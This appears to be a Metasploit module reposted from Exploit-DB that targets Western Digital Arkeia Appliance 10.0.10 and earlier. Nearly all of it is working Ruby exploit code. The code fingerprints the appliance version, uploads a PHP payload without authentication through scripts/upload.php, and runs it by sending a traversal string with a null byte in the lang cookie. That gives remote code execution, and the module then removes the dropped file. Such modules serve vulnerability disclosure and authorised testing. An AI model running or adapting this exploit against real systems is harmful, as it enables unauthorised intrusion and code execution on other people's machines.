Western Digital Arkeia Remote Code Execution Exploit

:
24.09.2013
:
Western Digital Arkeia Appliance <= 10.0.10
:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
# Exploit-DB Note: a little dirty fix-up, had to add the PHP tags around the payload

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "Western Digital Arkeia Remote Code Execution",
'Description' => %q{
This module exploits a vulnerability found in Western Digital Arkeia Appliance
version 10.0.10 and lower. By abusing the upload.php file from the scripts directory,
a malicious user can upload arbitrary code to the ApplianceUpdate file in the temp
directory without any authentication. Abusing the local file inclusion in the lang
cookie to parse this file, results in arbitrary code execution, also without any
authentication. The module has been tested successfully on Arkeia 10.0.10. The issues
have been fixed in version 10.1.10.
},
'License' => MSF_LICENSE,
'Author' =>
[
'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
],
'References' =>
[
['EDB', '28330']
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Western Digital Arkeia Appliance 10.0.10', {}]
],
'Privileged' => false,
'DisclosureDate' => "Sep 16 2013",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the Arkeia Appliance', '/'])
], self.class)
end

def uri
return target_uri.path
end

def peer
return "#{rhost}:#{rport}"
end

def check
# Check version
print_status("#{peer} - Trying to detect installed version")

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri)
})

if res and res.code == 200 and res.body =~ /v(\d+\.\d+\.\d+)/
version = $1
else
return Exploit::CheckCode::Unknown
end

print_status("#{peer} - Version #{version} detected")

if version > "10.0.10"
return Exploit::CheckCode::Safe
end

# Check for vulnerable component
print_status("#{peer} - Trying to detect the vulnerable component")

res = send_request_cgi({
'method' => 'GET',
'headers' => { 'Cookie' => "lang=fr" },
'uri' => normalize_uri(uri)
})

if res and res.code == 200 and res.body =~ /Les versions brutes des messages est affichee ci-dessous/
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def exploit
payload_name = rand_text_alpha(rand(10) + 5)

post_data = Rex::MIME::Message.new
post_data.add_part('<?php '+payload.encoded+'?>', "application/octet-stream", nil, "form-data; name=\"UPLOAD\"; filename=\"#{payload_name}\"")
file = post_data.to_s
file.strip!

print_status("#{peer} - Sending PHP payload which will be uploaded to hardcoded /tmp/ApplianceUpdate")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "scripts", "upload.php"),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => file
})

# If the server returns 200 we assume we uploaded the malicious
# file successfully
if not res or res.code != 200
fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")
end

register_files_for_cleanup("/tmp/ApplianceUpdate")

print_status("#{peer} - Sending LFI payload to execute PHP code in /tmp/ApplianceUpdate")
res = send_request_cgi({
'method' => 'GET',
'headers' => { 'Cookie' => "lang=../../../../../../../../../../../../../../../../tmp/ApplianceUpdate%00en" },
'uri' => normalize_uri(uri)
})

# If we don't get a 200 when we request our malicious payload, we suspect
# we don't have a shell, either.
if res and res.code != 200
print_error("#{peer} - Unexpected response, probably the exploit failed")
end

end

end